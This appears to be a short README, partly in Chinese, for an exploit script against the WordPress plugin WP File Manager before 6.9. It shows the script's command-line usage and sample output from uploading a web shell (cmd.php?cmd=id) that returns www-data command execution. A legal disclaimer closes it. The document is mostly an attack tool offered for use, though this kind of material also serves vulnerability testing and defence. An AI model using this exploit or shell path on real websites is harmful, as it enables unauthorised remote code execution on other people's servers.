randomrobbiebf/wp-file-managerwp-file-manager RCE
WP File Manager < 6.9 - 任意文件上传导致远程代码执行（RCE）
usage: wp-file-manager.py [-h] [-u URL] [-f FILE]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL of host to check will need http or https
-f FILE, --file FILE File of URLS to check
[+] Testing https://localhost [+]
[*]Shell Uploaded https://localhost/wp-content/plugins/wp-file-manager/lib/files/cmd.php?cmd=id[*]
Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
未经双方事先同意而使用此工具攻击目标属违法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，并且不对因使用本程序而造成的任何误用或损害负责。